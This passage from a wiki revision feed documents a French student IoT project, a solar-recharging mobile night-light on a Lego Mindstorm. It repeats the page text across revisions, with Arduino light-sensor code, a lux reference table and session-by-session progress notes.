 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression du circuit&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery widths=&amp;quot;500px&amp;quot; heights=&amp;quot;600px&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance&lt;br /&gt;
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.&lt;br /&gt;
[[Fichier:Mindstorm_code.jpg|800px|center|Code Mindstorm]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P4_poster.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46845</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46845"/>
				<updated>2018-01-23T23:24:17Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la cinquième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression du circuit&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery widths=&amp;quot;500px&amp;quot; heights=&amp;quot;600px&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance&lt;br /&gt;
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant et impression du circuit.&lt;br /&gt;
[[Fichier:Mindstorm_code.jpg|800px|center|Code Mindstorm]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P4_poster.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46844</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46844"/>
				<updated>2018-01-23T23:23:56Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la cinquième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression du circuit&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
